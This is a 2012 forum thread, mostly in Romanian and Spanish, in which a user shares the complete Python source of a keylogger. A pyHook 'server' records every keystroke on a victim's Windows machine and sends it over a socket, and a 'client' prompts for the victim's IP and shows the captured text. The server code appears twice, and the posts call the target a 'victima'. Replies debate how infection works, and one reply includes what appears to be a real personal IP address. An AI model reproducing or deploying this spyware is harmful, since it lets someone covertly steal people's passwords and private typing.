io.kent Posted October 16, 2012 Report Posted October 16, 2012 (edited) Hi all. afternoon today as I had a rainy day and made ??me put this little code. Seeking information for San Google found the apis pythoncom and pyHook and made ??my version of a keylogger. This very basic and I have thought about improving the code . But for version 1.0 I think it's too xD So I share.Cliente:#!/usr/bin/env python#################################### #### Keylogger v1.0 #### By Expermicid #### Fecha : 15/10/12 #### Cliente #### ####################################import socketimport os, sysprint '\nKeylogger v1.0 --- By Expermicid\n'ipVictima = raw_input('introduzca la IP de la victima >>> ')host = ipVictimaport = 5000addr = (host, port)try : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(addr)except s.error: print 'Error de coneccion ' raw_input()else: print 'Coneccion exitosa \n' texto = '' while True : recibido = s.recv(1024) texto += recibido sys.stdout.write(os.popen('clear').read()) print textocode:#################################### #### Keylogger v1.0 #### By Expermicid #### Fecha : 15/10/12 #### Server #### ####################################import socketimport pythoncom, pyHookdef OnKeyboardEvent(event) : # letras minusculas y letras mayusculas if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) : sc.send(chr(event.Ascii)) # numeros elif event.Ascii > 47 and event.Ascii < 58 : sc.send(chr(event.Ascii)) # F1 .. F12 elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Espacio elif event.Ascii == 32 : sc.send(chr(event.Ascii)) # Enter elif event.Ascii == 13 : sc.send(' [Intro] ') # BackSpace elif event.Ascii == 8 : sc.send(' [BackSpace] ') # Escape elif event.Ascii == 27 : sc.send(' [Escape] ') # Tab elif event.Ascii == 9 : sc.send(' [Tab] ') # Flechas elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Bloq Mayus elif event.KeyID == 20 and event.Ascii == 0 : sc.send(' [BloqMayus] ') # caracteres elif event.Ascii > 32 and event.Ascii < 48 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 57 and event.Ascii < 65 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 90 and event.Ascii < 97 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 122 and event.Ascii < 127 : sc.send(chr(event.Ascii)) # Insetar / Delete elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # ascii extendido elif event.Ascii > 127 and event.Ascii < 255 : sc.send(chr(event.Ascii)) # Flechas elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Win / Apps elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Inicio-Fin / RePag-AvPag elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ')try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((socket.gethostname(), 5000)) s.listen(1) sc, addr = s.accept()except s.error: print 'Error de coneccion 'else: hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()enjoy:) Edited October 16, 2012 by io.kent Quote
wind Posted October 16, 2012 Report Posted October 16, 2012 Hmmm, arata bine, man, ar fii frumos sa pui si sursa de unde le iei.. Quote
Maximus Posted October 16, 2012 Report Posted October 16, 2012 stai ca nu inteleg, bagi ip-u si infecteaza de unu singur? sau trebuie victima sa execute codul ? Quote
io.kent Posted October 16, 2012 Author Report Posted October 16, 2012 cand executi clientul iti cere ip astai tot introduci ip, si ai control la tecle Quote
c0unt3rlog1c Posted October 16, 2012 Report Posted October 16, 2012 @io.kent Tu te auzi ce zici?Prin ce protocol e efectuata conexiunea, cum naiba sa ii dai IP si el sa faca keylogg? Asta e o balarie de program.Uite, IP-ul meu: 95.76.56.92Nu e VPN, nu e nimic. Lasa-mi mesaj cand l-ai introdus, si eu ma reloghez pe toate conturile mele, inclusiv paypal.Sa vad, daca reusesti eu trimit mesaj de pe gmail tuturor cunostintelor mele cu ce vrei tu, si postez pe facebook la fel.Daca nu, o faci tu.Deal? Quote
io.kent Posted October 16, 2012 Author Report Posted October 16, 2012 testat clientul pe GNU / Linux ?i Windows Server (ma?in? virtual?)aici sursa: [Python] Keylogger v1.0 [by Expermicid]aruncati o privire! Quote
c0unt3rlog1c Posted October 16, 2012 Report Posted October 16, 2012 @io.kent Si aia ce balarie de forum mai e? Numa h4xx0r1 pe acolo, din ce vad.Eu ti-am zis sa testezi tu, nu sa te iei dupa modelul de turma, si ce zice ala acolo sa crezi si tu. Quote
Benz Posted October 19, 2012 Report Posted October 19, 2012 Probabil cand 'victima' porneste un '.exe', poti dupa sa te loghezi prin terminal cu acest 'keylogger'. N-am inteles eu prea bine ce face codul asta.Poate ne explica cineva ce-i cu chestioara asta... Quote
zUser Posted October 20, 2012 Report Posted October 20, 2012 Hi! i'm newbiew someone can help me ?how to make code ? sorry my english very bad #################################### #### Keylogger v1.0 #### By Expermicid #### Fecha : 15/10/12 #### Server #### ####################################import socketimport pythoncom, pyHookdef OnKeyboardEvent(event) : # letras minusculas y letras mayusculas if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) : sc.send(chr(event.Ascii)) # numeros elif event.Ascii > 47 and event.Ascii < 58 : sc.send(chr(event.Ascii)) # F1 .. F12 elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Espacio elif event.Ascii == 32 : sc.send(chr(event.Ascii)) # Enter elif event.Ascii == 13 : sc.send(' [Intro] ') # BackSpace elif event.Ascii == 8 : sc.send(' [BackSpace] ') # Escape elif event.Ascii == 27 : sc.send(' [Escape] ') # Tab elif event.Ascii == 9 : sc.send(' [Tab] ') # Flechas elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Bloq Mayus elif event.KeyID == 20 and event.Ascii == 0 : sc.send(' [BloqMayus] ') # caracteres elif event.Ascii > 32 and event.Ascii < 48 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 57 and event.Ascii < 65 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 90 and event.Ascii < 97 : sc.send(chr(event.Ascii)) # caracteres elif event.Ascii > 122 and event.Ascii < 127 : sc.send(chr(event.Ascii)) # Insetar / Delete elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # ascii extendido elif event.Ascii > 127 and event.Ascii < 255 : sc.send(chr(event.Ascii)) # Flechas elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Win / Apps elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 : sc.send(' ['+event.Key+'] ') # Inicio-Fin / RePag-AvPag elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 : sc.send(' ['+event.Key+'] ')try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((socket.gethostname(), 5000)) s.listen(1) sc, addr = s.accept()except s.error: print 'Error de coneccion 'else: hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages() Quote